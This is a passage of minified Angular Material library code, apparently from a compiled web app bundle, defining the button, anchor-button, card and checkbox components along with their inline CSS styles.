S{constructor(U,G,Q){super(U),this._focusMonitor=G,this._animationMode=Q,this.isRoundButton=this._hasHostAttributes("mat-fab","mat-mini-fab"),this.isIconButton=this._hasHostAttributes("mat-icon-button");for(const oe of _)this._hasHostAttributes(oe)&&this._getHostElement().classList.add(oe);U.nativeElement.classList.add("mat-button-base"),this.isRoundButton&&(this.color="accent")}ngAfterViewInit(){this._focusMonitor.monitor(this._elementRef,!0)}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}focus(U,G){U?this._focusMonitor.focusVia(this._getHostElement(),U,G):this._getHostElement().focus(G)}_getHostElement(){return this._elementRef.nativeElement}_isRippleDisabled(){return this.disableRipple||this.disabled}_hasHostAttributes(...U){return U.some(G=>this._getHostElement().hasAttribute(G))}}return H.\\u0275fac=function(U){return new(U||H)(n.Y36(n.SBq),n.Y36(s.tE),n.Y36(n.QbO,8))},H.\\u0275cmp=n.Xpm({type:H,selectors:[["button","mat-button",""],["button","mat-raised-button",""],["button","mat-icon-button",""],["button","mat-fab",""],["button","mat-mini-fab",""],["button","mat-stroked-button",""],["button","mat-flat-button",""]],viewQuery:function(U,G){if(1&U&&n.Gf(a.wG,5),2&U){let Q;n.iGM(Q=n.CRH())&&(G.ripple=Q.first)}},hostAttrs:[1,"mat-focus-indicator"],hostVars:5,hostBindings:function(U,G){2&U&&(n.uIk("disabled",G.disabled||null),n.ekj("_mat-animation-noopable","NoopAnimations"===G._animationMode)("mat-button-disabled",G.disabled))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color"},exportAs:["matButton"],features:[n.qOj],attrs:u,ngContentSelectors:c,decls:4,vars:5,consts:[[1,"mat-button-wrapper"],["matRipple","",1,"mat-button-ripple",3,"matRippleDisabled","matRippleCentered","matRippleTrigger"],[1,"mat-button-focus-overlay"]],template:function(U,G){1&U&&(n.F$t(),n.TgZ(0,"span",0),n.Hsn(1),n.qZA(),n._UZ(2,"span",1)(3,"span",2)),2&U&&(n.xp6(2),n.ekj("mat-button-ripple-round",G.isRoundButton||G.isIconButton),n.Q6J("matRippleDisabled",G._isRippleDisabled())("matRippleCentered",G.isIconButton)("matRippleTrigger",G._getHostElement()))},dependencies:[a.wG],styles:[".mat-button .mat-button-focus-overlay,.mat-icon-button .mat-button-focus-overlay{opacity:0}.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:.04}@media(hover: none){.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:0}}.mat-button,.mat-icon-button,.mat-stroked-button,.mat-flat-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-button.mat-button-disabled,.mat-icon-button.mat-button-disabled,.mat-stroked-button.mat-button-disabled,.mat-flat-button.mat-button-disabled{cursor:default}.mat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-button.cdk-program-focused .mat-button-focus-overlay,.mat-icon-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-icon-button.cdk-program-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-program-focused .mat-button-focus-overlay,.mat-flat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-flat-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-raised-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button.mat-button-disabled{cursor:default}.mat-raised-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-raised-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button._mat-animation-noopable{transition:none !important;animation:none !important}.mat-stroked-button{border:1px solid currentColor;padding:0 15px;line-height:34px}.mat-stroked-button .mat-button-ripple.mat-ripple,.mat-stroked-button .mat-button-focus-overlay{top:-1px;left:-1px;right:-1px;bottom:-1px}.mat-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:56px;height:56px;padding:0;flex-shrink:0}.mat-fab::-moz-focus-inner{border:0}.mat-fab.mat-button-disabled{cursor:default}.mat-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-fab::-moz-focus-inner{border:0}.mat-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-fab .mat-button-wrapper{padding:16px 0;display:inline-block;line-height:24px}.mat-mini-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:40px;height:40px;padding:0;flex-shrink:0}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab.mat-button-disabled{cursor:default}.mat-mini-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-mini-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-mini-fab .mat-button-wrapper{padding:8px 0;display:inline-block;line-height:24px}.mat-icon-button{padding:0;min-width:0;width:40px;height:40px;flex-shrink:0;line-height:40px;border-radius:50%}.mat-icon-button i,.mat-icon-button .mat-icon{line-height:24px}.mat-button-ripple.mat-ripple,.mat-button-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit}.mat-button-ripple.mat-ripple:not(:empty){transform:translateZ(0)}.mat-button-focus-overlay{opacity:0;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1),background-color 200ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable .mat-button-focus-overlay{transition:none}.mat-button-ripple-round{border-radius:50%;z-index:1}.mat-button .mat-button-wrapper>*,.mat-flat-button .mat-button-wrapper>*,.mat-stroked-button .mat-button-wrapper>*,.mat-raised-button .mat-button-wrapper>*,.mat-icon-button .mat-button-wrapper>*,.mat-fab .mat-button-wrapper>*,.mat-mini-fab .mat-button-wrapper>*{vertical-align:middle}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button{display:inline-flex;justify-content:center;align-items:center;font-size:inherit;width:2.5em;height:2.5em}.mat-flat-button::before,.mat-raised-button::before,.mat-fab::before,.mat-mini-fab::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-stroked-button::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.cdk-high-contrast-active .mat-button,.cdk-high-contrast-active .mat-flat-button,.cdk-high-contrast-active .mat-raised-button,.cdk-high-contrast-active .mat-icon-button,.cdk-high-contrast-active .mat-fab,.cdk-high-contrast-active .mat-mini-fab{outline:solid 1px}"],encapsulation:2,changeDetection:0}),H})(),C=(()=>{class H extends g{constructor(U,G,Q,oe){super(G,U,Q),this._ngZone=oe,this._haltDisabledEvents=Ce=>{this.disabled&&(Ce.preventDefault(),Ce.stopImmediatePropagation())}}ngAfterViewInit(){super.ngAfterViewInit(),this._ngZone?this._ngZone.runOutsideAngular(()=>{this._elementRef.nativeElement.addEventListener("click",this._haltDisabledEvents)}):this._elementRef.nativeElement.addEventListener("click",this._haltDisabledEvents)}ngOnDestroy(){super.ngOnDestroy(),this._elementRef.nativeElement.removeEventListener("click",this._haltDisabledEvents)}}return H.\\u0275fac=function(U){return new(U||H)(n.Y36(s.tE),n.Y36(n.SBq),n.Y36(n.QbO,8),n.Y36(n.R0b,8))},H.\\u0275cmp=n.Xpm({type:H,selectors:[["a","mat-button",""],["a","mat-raised-button",""],["a","mat-icon-button",""],["a","mat-fab",""],["a","mat-mini-fab",""],["a","mat-stroked-button",""],["a","mat-flat-button",""]],hostAttrs:[1,"mat-focus-indicator"],hostVars:7,hostBindings:function(U,G){2&U&&(n.uIk("tabindex",G.disabled?-1:G.tabIndex)("disabled",G.disabled||null)("aria-disabled",G.disabled.toString()),n.ekj("_mat-animation-noopable","NoopAnimations"===G._animationMode)("mat-button-disabled",G.disabled))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matButton","matAnchor"],features:[n.qOj],attrs:u,ngContentSelectors:c,decls:4,vars:5,consts:[[1,"mat-button-wrapper"],["matRipple","",1,"mat-button-ripple",3,"matRippleDisabled","matRippleCentered","matRippleTrigger"],[1,"mat-button-focus-overlay"]],template:function(U,G){1&U&&(n.F$t(),n.TgZ(0,"span",0),n.Hsn(1),n.qZA(),n._UZ(2,"span",1)(3,"span",2)),2&U&&(n.xp6(2),n.ekj("mat-button-ripple-round",G.isRoundButton||G.isIconButton),n.Q6J("matRippleDisabled",G._isRippleDisabled())("matRippleCentered",G.isIconButton)("matRippleTrigger",G._getHostElement()))},dependencies:[a.wG],styles:[".mat-button .mat-button-focus-overlay,.mat-icon-button .mat-button-focus-overlay{opacity:0}.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:.04}@media(hover: none){.mat-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay,.mat-stroked-button:hover:not(.mat-button-disabled) .mat-button-focus-overlay{opacity:0}}.mat-button,.mat-icon-button,.mat-stroked-button,.mat-flat-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-button.mat-button-disabled,.mat-icon-button.mat-button-disabled,.mat-stroked-button.mat-button-disabled,.mat-flat-button.mat-button-disabled{cursor:default}.mat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-button.cdk-program-focused .mat-button-focus-overlay,.mat-icon-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-icon-button.cdk-program-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-stroked-button.cdk-program-focused .mat-button-focus-overlay,.mat-flat-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-flat-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-button::-moz-focus-inner,.mat-icon-button::-moz-focus-inner,.mat-stroked-button::-moz-focus-inner,.mat-flat-button::-moz-focus-inner{border:0}.mat-raised-button{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button.mat-button-disabled{cursor:default}.mat-raised-button.cdk-keyboard-focused .mat-button-focus-overlay,.mat-raised-button.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-raised-button::-moz-focus-inner{border:0}.mat-raised-button._mat-animation-noopable{transition:none !important;animation:none !important}.mat-stroked-button{border:1px solid currentColor;padding:0 15px;line-height:34px}.mat-stroked-button .mat-button-ripple.mat-ripple,.mat-stroked-button .mat-button-focus-overlay{top:-1px;left:-1px;right:-1px;bottom:-1px}.mat-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:56px;height:56px;padding:0;flex-shrink:0}.mat-fab::-moz-focus-inner{border:0}.mat-fab.mat-button-disabled{cursor:default}.mat-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-fab::-moz-focus-inner{border:0}.mat-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-fab .mat-button-wrapper{padding:16px 0;display:inline-block;line-height:24px}.mat-mini-fab{box-sizing:border-box;position:relative;-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);display:inline-block;white-space:nowrap;text-decoration:none;vertical-align:baseline;text-align:center;margin:0;min-width:64px;line-height:36px;padding:0 16px;border-radius:4px;overflow:visible;transform:translate3d(0, 0, 0);transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);min-width:0;border-radius:50%;width:40px;height:40px;padding:0;flex-shrink:0}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab.mat-button-disabled{cursor:default}.mat-mini-fab.cdk-keyboard-focused .mat-button-focus-overlay,.mat-mini-fab.cdk-program-focused .mat-button-focus-overlay{opacity:.12}.mat-mini-fab::-moz-focus-inner{border:0}.mat-mini-fab._mat-animation-noopable{transition:none !important;animation:none !important}.mat-mini-fab .mat-button-wrapper{padding:8px 0;display:inline-block;line-height:24px}.mat-icon-button{padding:0;min-width:0;width:40px;height:40px;flex-shrink:0;line-height:40px;border-radius:50%}.mat-icon-button i,.mat-icon-button .mat-icon{line-height:24px}.mat-button-ripple.mat-ripple,.mat-button-focus-overlay{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit}.mat-button-ripple.mat-ripple:not(:empty){transform:translateZ(0)}.mat-button-focus-overlay{opacity:0;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1),background-color 200ms cubic-bezier(0.35, 0, 0.25, 1)}._mat-animation-noopable .mat-button-focus-overlay{transition:none}.mat-button-ripple-round{border-radius:50%;z-index:1}.mat-button .mat-button-wrapper>*,.mat-flat-button .mat-button-wrapper>*,.mat-stroked-button .mat-button-wrapper>*,.mat-raised-button .mat-button-wrapper>*,.mat-icon-button .mat-button-wrapper>*,.mat-fab .mat-button-wrapper>*,.mat-mini-fab .mat-button-wrapper>*{vertical-align:middle}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button{display:inline-flex;justify-content:center;align-items:center;font-size:inherit;width:2.5em;height:2.5em}.mat-flat-button::before,.mat-raised-button::before,.mat-fab::before,.mat-mini-fab::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-stroked-button::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.cdk-high-contrast-active .mat-button,.cdk-high-contrast-active .mat-flat-button,.cdk-high-contrast-active .mat-raised-button,.cdk-high-contrast-active .mat-icon-button,.cdk-high-contrast-active .mat-fab,.cdk-high-contrast-active .mat-mini-fab{outline:solid 1px}"],encapsulation:2,changeDetection:0}),H})(),z=(()=>{class H{}return H.\\u0275fac=function(U){return new(U||H)},H.\\u0275mod=n.oAB({type:H}),H.\\u0275inj=n.cJS({imports:[a.si,a.BQ,a.BQ]}),H})()},3546:(At,ae,d)=>{"use strict";d.d(ae,{$j:()=>C,G2:()=>j,QW:()=>ee,a8:()=>k,dk:()=>K,dn:()=>S,n5:()=>g});var n=d(4650),a=d(3238);const s=["*",[["mat-card-footer"]]],u=["*","mat-card-footer"],c=[[["","mat-card-avatar",""],["","matCardAvatar",""]],[["mat-card-title"],["mat-card-subtitle"],["","mat-card-title",""],["","mat-card-subtitle",""],["","matCardTitle",""],["","matCardSubtitle",""]],"*"],f=["[mat-card-avatar], [matCardAvatar]","mat-card-title, mat-card-subtitle,\\n [mat-card-title], [mat-card-subtitle],\\n [matCardTitle], [matCardSubtitle]","*"];let S=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-content"],["","mat-card-content",""],["","matCardContent",""]],hostAttrs:[1,"mat-card-content"]}),q})(),g=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-title"],["","mat-card-title",""],["","matCardTitle",""]],hostAttrs:[1,"mat-card-title"]}),q})(),C=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["mat-card-subtitle"],["","mat-card-subtitle",""],["","matCardSubtitle",""]],hostAttrs:[1,"mat-card-subtitle"]}),q})(),j=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275dir=n.lG2({type:q,selectors:[["","mat-card-image",""],["","matCardImage",""]],hostAttrs:[1,"mat-card-image"]}),q})(),k=(()=>{class q{constructor(ce){this._animationMode=ce}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(n.QbO,8))},q.\\u0275cmp=n.Xpm({type:q,selectors:[["mat-card"]],hostAttrs:[1,"mat-card","mat-focus-indicator"],hostVars:2,hostBindings:function(ce,je){2&ce&&n.ekj("_mat-animation-noopable","NoopAnimations"===je._animationMode)},exportAs:["matCard"],ngContentSelectors:u,decls:2,vars:0,template:function(ce,je){1&ce&&(n.F$t(s),n.Hsn(0),n.Hsn(1,1))},styles:[".mat-card{transition:box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);display:block;position:relative;padding:16px;border-radius:4px}.mat-card._mat-animation-noopable{transition:none !important;animation:none !important}.mat-card>.mat-divider-horizontal{position:absolute;left:0;width:100%}[dir=rtl] .mat-card>.mat-divider-horizontal{left:auto;right:0}.mat-card>.mat-divider-horizontal.mat-divider-inset{position:static;margin:0}[dir=rtl] .mat-card>.mat-divider-horizontal.mat-divider-inset{margin-right:0}.cdk-high-contrast-active .mat-card{outline:solid 1px}.mat-card-actions,.mat-card-subtitle,.mat-card-content{display:block;margin-bottom:16px}.mat-card-title{display:block;margin-bottom:8px}.mat-card-actions{margin-left:-8px;margin-right:-8px;padding:8px 0}.mat-card-actions-align-end{display:flex;justify-content:flex-end}.mat-card-image{width:calc(100% + 32px);margin:0 -16px 16px -16px;display:block;overflow:hidden}.mat-card-image img{width:100%}.mat-card-footer{display:block;margin:0 -16px -16px -16px}.mat-card-actions .mat-button,.mat-card-actions .mat-raised-button,.mat-card-actions .mat-stroked-button{margin:0 8px}.mat-card-header{display:flex;flex-direction:row}.mat-card-header .mat-card-title{margin-bottom:12px}.mat-card-header-text{margin:0 16px}.mat-card-avatar{height:40px;width:40px;border-radius:50%;flex-shrink:0;object-fit:cover}.mat-card-title-group{display:flex;justify-content:space-between}.mat-card-sm-image{width:80px;height:80px}.mat-card-md-image{width:112px;height:112px}.mat-card-lg-image{width:152px;height:152px}.mat-card-xl-image{width:240px;height:240px;margin:-8px}.mat-card-title-group>.mat-card-xl-image{margin:-8px 0 8px}@media(max-width: 599px){.mat-card-title-group{margin:0}.mat-card-xl-image{margin-left:0;margin-right:0}}.mat-card>:first-child,.mat-card-content>:first-child{margin-top:0}.mat-card>:last-child:not(.mat-card-footer),.mat-card-content>:last-child:not(.mat-card-footer){margin-bottom:0}.mat-card-image:first-child{margin-top:-16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.mat-card>.mat-card-actions:last-child{margin-bottom:-8px;padding-bottom:0}.mat-card-actions:not(.mat-card-actions-align-end) .mat-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-raised-button:first-child,.mat-card-actions:not(.mat-card-actions-align-end) .mat-stroked-button:first-child{margin-left:0;margin-right:0}.mat-card-actions-align-end .mat-button:last-child,.mat-card-actions-align-end .mat-raised-button:last-child,.mat-card-actions-align-end .mat-stroked-button:last-child{margin-left:0;margin-right:0}.mat-card-title:not(:first-child),.mat-card-subtitle:not(:first-child){margin-top:-4px}.mat-card-header .mat-card-subtitle:not(:first-child){margin-top:-8px}.mat-card>.mat-card-xl-image:first-child{margin-top:-8px}.mat-card>.mat-card-xl-image:last-child{margin-bottom:-8px}"],encapsulation:2,changeDetection:0}),q})(),K=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275cmp=n.Xpm({type:q,selectors:[["mat-card-header"]],hostAttrs:[1,"mat-card-header"],ngContentSelectors:f,decls:4,vars:0,consts:[[1,"mat-card-header-text"]],template:function(ce,je){1&ce&&(n.F$t(c),n.Hsn(0),n.TgZ(1,"div",0),n.Hsn(2,1),n.qZA(),n.Hsn(3,2))},encapsulation:2,changeDetection:0}),q})(),ee=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=n.oAB({type:q}),q.\\u0275inj=n.cJS({imports:[a.BQ,a.BQ]}),q})()},6709:(At,ae,d)=>{"use strict";d.d(ae,{oG:()=>Ce,p9:()=>ee});var n=d(2687),a=d(1281),s=d(4650),u=d(4006),c=d(3238),f=d(9643);const E=["input"],_=["label"],S=function(q){return{enterDuration:q}},g=["*"],C=new s.OlP("mat-checkbox-default-options",{providedIn:"root",factory:z});function z(){return{color:"accent",clickAction:"check-indeterminate"}}let H=0;const j=z(),U={provide:u.JU,useExisting:(0,s.Gpc)(()=>Ce),multi:!0};class G{}const Q=(0,c.sb)((0,c.pj)((0,c.Kr)((0,c.Id)(class{constructor(q){this._elementRef=q}}))));let oe=(()=>{class q extends Q{constructor(ce,je,Ze,le,Oe,Qe,Ye){super(je),this._changeDetectorRef=Ze,this._ngZone=le,this._animationMode=Qe,this._options=Ye,this.ariaLabel="",this.ariaLabelledby=null,this.labelPosition="after",this.name=null,this.change=new s.vpe,this.indeterminateChange=new s.vpe,this._onTouched=()=>{},this._currentAnimationClass="",this._currentCheckState=0,this._controlValueAccessorChangeFn=()=>{},this._checked=!1,this._disabled=!1,this._indeterminate=!1,this._options=this._options||j,this.color=this.defaultColor=this._options.color||j.color,this.tabIndex=parseInt(Oe)||0,this.id=this._uniqueId=`${ce}${++H}`}get inputId(){return`${this.id||this._uniqueId}-input`}get required(){return this._required}set required(ce){this._required=(0,a.Ig)(ce)}ngAfterViewInit(){this._syncIndeterminate(this._indeterminate)}get checked(){return this._checked}set checked(ce){const je=(0,a.Ig)(ce);je!=this.checked&&(this._checked=je,this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled}set disabled(ce){const je=(0,a.Ig)(ce);je!==this.disabled&&(this._disabled=je,this._changeDetectorRef.markForCheck())}get indeterminate(){return this._indeterminate}set indeterminate(ce){const je=ce!=this._indeterminate;this._indeterminate=(0,a.Ig)(ce),je&&(this._transitionCheckState(this._indeterminate?3:this.checked?1:2),this.indeterminateChange.emit(this._indeterminate)),this._syncIndeterminate(this._indeterminate)}_isRippleDisabled(){return this.disableRipple||this.disabled}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}writeValue(ce){this.checked=!!ce}registerOnChange(ce){this._controlValueAccessorChangeFn=ce}registerOnTouched(ce){this._onTouched=ce}setDisabledState(ce){this.disabled=ce}_getAriaChecked(){return this.checked?"true":this.indeterminate?"mixed":"false"}_transitionCheckState(ce){let je=this._currentCheckState,Ze=this._getAnimationTargetElement();if(je!==ce&&Ze&&(this._currentAnimationClass&&Ze.classList.remove(this._currentAnimationClass),this._currentAnimationClass=this._getAnimationClassForCheckStateTransition(je,ce),this._currentCheckState=ce,this._currentAnimationClass.length>0)){Ze.classList.add(this._currentAnimationClass);const le=this._currentAnimationClass;this._ngZone.runOutsideAngular(()=>{setTimeout(()=>{Ze.classList.remove(le)},1e3)})}}_emitChangeEvent(){this._controlValueAccessorChangeFn(this.checked),this.change.emit(this._createChangeEvent(this.checked)),this._inputElement&&(this._inputElement.nativeElement.checked=this.checked)}toggle(){this.checked=!this.checked,this._controlValueAccessorChangeFn(this.checked)}_handleInputClick(){const ce=this._options?.clickAction;this.disabled||"noop"===ce?!this.disabled&&"noop"===ce&&(this._inputElement.nativeElement.checked=this.checked,this._inputElement.nativeElement.indeterminate=this.indeterminate):(this.indeterminate&&"check"!==ce&&Promise.resolve().then(()=>{this._indeterminate=!1,this.indeterminateChange.emit(this._indeterminate)}),this._checked=!this._checked,this._transitionCheckState(this._checked?1:2),this._emitChangeEvent())}_onInteractionEvent(ce){ce.stopPropagation()}_onBlur(){Promise.resolve().then(()=>{this._onTouched(),this._changeDetectorRef.markForCheck()})}_getAnimationClassForCheckStateTransition(ce,je){if("NoopAnimations"===this._animationMode)return"";switch(ce){case 0:if(1===je)return this._animationClasses.uncheckedToChecked;if(3==je)return this._checked?this._animationClasses.checkedToIndeterminate:this._animationClasses.uncheckedToIndeterminate;break;case 2:return 1===je?this._animationClasses.uncheckedToChecked:this._animationClasses.uncheckedToIndeterminate;case 1:return 2===je?this._animationClasses.checkedToUnchecked:this._animationClasses.checkedToIndeterminate;case 3:return 1===je?this._animationClasses.indeterminateToChecked:this._animationClasses.indeterminateToUnchecked}return""}_syncIndeterminate(ce){const je=this._inputElement;je&&(je.nativeElement.indeterminate=ce)}}return q.\\u0275fac=function(ce){s.$Z()},q.\\u0275dir=s.lG2({type:q,viewQuery:function(ce,je){if(1&ce&&(s.Gf(E,5),s.Gf(_,5),s.Gf(c.wG,5)),2&ce){let Ze;s.iGM(Ze=s.CRH())&&(je._inputElement=Ze.first),s.iGM(Ze=s.CRH())&&(je._labelElement=Ze.first),s.iGM(Ze=s.CRH())&&(je.ripple=Ze.first)}},inputs:{ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],id:"id",required:"required",labelPosition:"labelPosition",name:"name",value:"value",checked:"checked",disabled:"disabled",indeterminate:"indeterminate"},outputs:{change:"change",indeterminateChange:"indeterminateChange"},features:[s.qOj]}),q})(),Ce=(()=>{class q extends oe{constructor(ce,je,Ze,le,Oe,Qe,Ye){super("mat-checkbox-",ce,je,le,Oe,Qe,Ye),this._focusMonitor=Ze,this._animationClasses={uncheckedToChecked:"mat-checkbox-anim-unchecked-checked",uncheckedToIndeterminate:"mat-checkbox-anim-unchecked-indeterminate",checkedToUnchecked:"mat-checkbox-anim-checked-unchecked",checkedToIndeterminate:"mat-checkbox-anim-checked-indeterminate",indeterminateToChecked:"mat-checkbox-anim-indeterminate-checked",indeterminateToUnchecked:"mat-checkbox-anim-indeterminate-unchecked"}}_createChangeEvent(ce){const je=new G;return je.source=this,je.checked=ce,je}_getAnimationTargetElement(){return this._elementRef.nativeElement}ngAfterViewInit(){super.ngAfterViewInit(),this._focusMonitor.monitor(this._elementRef,!0).subscribe(ce=>{ce||this._onBlur()})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}_onInputClick(ce){ce.stopPropagation(),super._handleInputClick()}focus(ce,je){ce?this._focusMonitor.focusVia(this._inputElement,ce,je):this._inputElement.nativeElement.focus(je)}}return q.\\u0275fac=function(ce){return 